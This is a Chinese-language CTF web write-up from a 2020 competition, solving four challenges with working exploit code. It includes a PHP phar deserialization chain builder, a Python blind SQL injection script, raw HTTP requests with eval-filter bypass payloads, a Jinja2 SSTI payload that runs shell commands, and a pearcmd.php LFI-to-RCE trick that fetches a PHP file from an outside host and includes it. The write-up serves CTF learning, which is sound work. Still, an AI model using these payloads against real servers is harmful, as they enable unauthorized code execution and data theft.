巅峰极客2020Web

阅读量316314

|

发布时间 : 2020-10-14 10:00:50

 

u1s1这次巅峰极客比赛质量真不错,有一题用到了LFI包含php自带文件从而直接RCE的地方,LFI到RCE的道路被大大的缩短

babyphp2

扫描目录得到源码

[11:00:52] 200 -   68B  - /index.php
[11:00:53] 200 -   68B  - /index.php/login/
[11:01:33] 200 -  583B  - /login.php
[11:03:57] 403 -  335B  - /server-status
[11:04:19] 403 -  336B  - /server-status/
[11:05:21] 200 -  422B  - /upload.php
[11:05:22] 403 -  329B  - /upload/
[11:05:41] 301 -  383B  - /upload  ->  http://eci-2ze5jqyhfniloont8y3x.cloudeci1.ichunqiu.com/upload/
[11:06:20] 200 -    4KB - /www.zip

阅读代码发现有上传点和一堆文件操作函数,很容易想到phar反序列化

阅读代码构造反序列化链:dbCtrl::__destruct->User::__toString->Reader::__set

<?php

Class Reader{
    public $filename;
    public $result;
    public function __construct(){

    }

}

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct(){
        $this->backup="/flag";
        $this->nickname=new Reader();
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="p3rh4ps";
    public $dbpass="p3rh4ps";
    public $database="p3rh4ps";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct(){
        $this->token=new User();
    }
}

$a = new dbCtrl();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,phar伪协议不用phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,只要后面部分为__HALT_COMPILER(); 
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

compress.zlib://phar://phar.phar/test.txt绕过限制

 

babyback

对check接口进行测试发现sql在诸如

check.php 过滤了: ",',-,=,;,select

利用\ 来转移引号从而逃脱引号包围: username=aaaa\&password= /sleep(5)%23bbbb存在sql注入

盲注脚本:

import requests
import time
#修改bigger和sqlinj就好


#实现bigger才能使用
def findByDichotomy(begin,end):
    max_num=end
    while True:
        mid=int((begin+end)/2)
        if begin==max_num:
            return False
        if begin==end:
            return begin
        if end-begin==1:
            if bigger(begin):
                return end
            else:
                return begin
        if bigger(mid):
            begin=mid+1
        else:
            end=mid

#待求数据大于num
def bigger(num):
    return sqlinj(num)
def less(num):
    pass
def equal(num):
    pass

def sqlinj(num):

    burp0_url = "http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com:80/check.php"
    burp0_cookies = {"UM_distinctid": "174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1", "chkphone": "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O", "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1600698604,1601088882", "Hm_lpvt_2d0601bd28de7d49818249cf35d95943": "1601094598", "PHPSESSID": "rctopt4e8mjrphj5dj74futmo7", "__jsluid_h": "16ef3109bf60c11c79ef469f3d7cd07e"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
    burp0_data = {"username": "aaaa\\", "password": "or ascii(substr(password,{POS},1))>{GUESS}#bbbb".format(POS=pos,GUESS=num)}
    r=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    if "<div class='logo'>密码错误</div>" in r.text:
        return True
    return False

#admin
#uAreRigHt
result=""
pos=len(result)+1
while True:
    num=findByDichotomy(32,128)
    if num is False:
        print(result)
        break
    result+=chr(num)
    print(result)
    pos+=1
账号密码
admin
uAreRigHt

登入后进入新的挑战

eval($command."=false");
过滤:;,",', ,|,`,^,\,;,/,*,(,),&,$,#,f,F

虽然过滤了括号,但是我们并不需要任意命令执行,只要能任意文件读取就好了。

但是无法闭合的语句封住了我们读flag的路。这时候只能去找找eval的特性,翻翻文档,读读实现代码来绕过。

在查找php手册中的eval部分时发现:

关于传入语句有一个神奇的特性

代码不能包含打开/关闭 PHP tags。比如, 'echo "Hi!";' 不能这样传入: '<?php echo "Hi!"; ?>'。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'。

于是我们构造>?来让=false不会被当成php代码。

虽然引号被禁用了,但是我们可以Heredoc 结构来绕过引号限制,用取反来绕过字符限制

最后的payload:

任意文件包含

POST /admin/ HTTP/1.1
Host: eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1600698604,1601088882; UM_distinctid=174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1601100971; PHPSESSID=aabua1gfiqc9s8i13u3iqace72; __jsluid_h=89eac162499bc32092c0474accd770c5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrD05yt5m
Content-Length: 161

------WebKitFormBoundaryrD05yt5m
Content-Disposition: form-data; name="command"

?><?=include<<<DDDD
.bowerrc
DDDD
?>
------WebKitFormBoundaryrD05yt5m--

读取flag

POST /admin/ HTTP/1.1
Host: eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1600698604,1601088882; UM_distinctid=174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1601100971; PHPSESSID=aabua1gfiqc9s8i13u3iqace72; __jsluid_h=89eac162499bc32092c0474accd770c5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

command=%3f%3e%3c%3f%3dinclude%7e%3c%3c%3cDDDD%0d%0a%D0%99%93%9E%98%0d%0aDDDD%0d%0a%3f%3e

 

babyflask

GET /loged?name=%7B%7B2*2%7D%7D
存在SSTI
模板引擎jinja2

http://eci-2ze3domag0jprtzax0lx.cloudeci1.ichunqiu.com:8888/loged?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27_IterationGuard%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

拿flag

 

MeowWorld

就一个任意文件包含,会在文件名后加一个.php,没啥头绪

后来题目提示register_argc_argv

register_argc_argv    TRUE    
由于该设置为 TRUE,将总是可以在 CLI SAPI 中访问到 argc(传送给应用程序参数的个数)和 argv(包含有实际参数的数组)。

对于 PHP 4.3.0,在使用 CLI SAPI 时,PHP 变量 $argc 和 $argv 已被注册并且设定了对应的值。而在这之前的版本,这两个变量在 CGI 或者 模块 版本中的建立依赖于将 PHP 的设置选项 register_globals 设为 on。除了版本和 register_globals 设定以外,可以随时通过调用 $_SERVER 或者 $HTTP_SERVER_VARS 来访问它们。例如:$_SERVER['argv']

https://khack40.info/camp-ctf-2015-trolol-web-write-up/

找到一个类似的题目,但是他们是用变量覆盖来执行

阅读pearcmd的代码发现:if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv']))

image6134

http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?list+install+--installroot+/tmp/+http://ccreater.top:60006/install.php++++++++++++++$&f=pearcmd&

利用多个++++++来注释掉多余的部分

http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?f=/tmp/tmp/pear/download/install

任意命令执行

 

知识点总结

1: eval虽然不能以<?php开头,但是能用?>结束php模式,之后可以用<?php再次进入php模式

2:包含/usr/local/lib/php/pearcmd.php(通常在php的include_path中)从而RCE,利用条件:

  1. 可以包含/usr/local/lib/php/下的文件
  2. 服务器可以出网

payload:url?list+install+--installroot+/tmp/+http://ccreater.top:60006/install.php++++++++++++++$&otherGetParam+include "/usr/local/lib/php/pearcmd.php"

接着包含/tmp/tmp/pear/download/install

本文由ccreater原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/218977

安全客 - 有思想的安全新媒体

分享到:微信
+18赞
收藏
ccreater
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66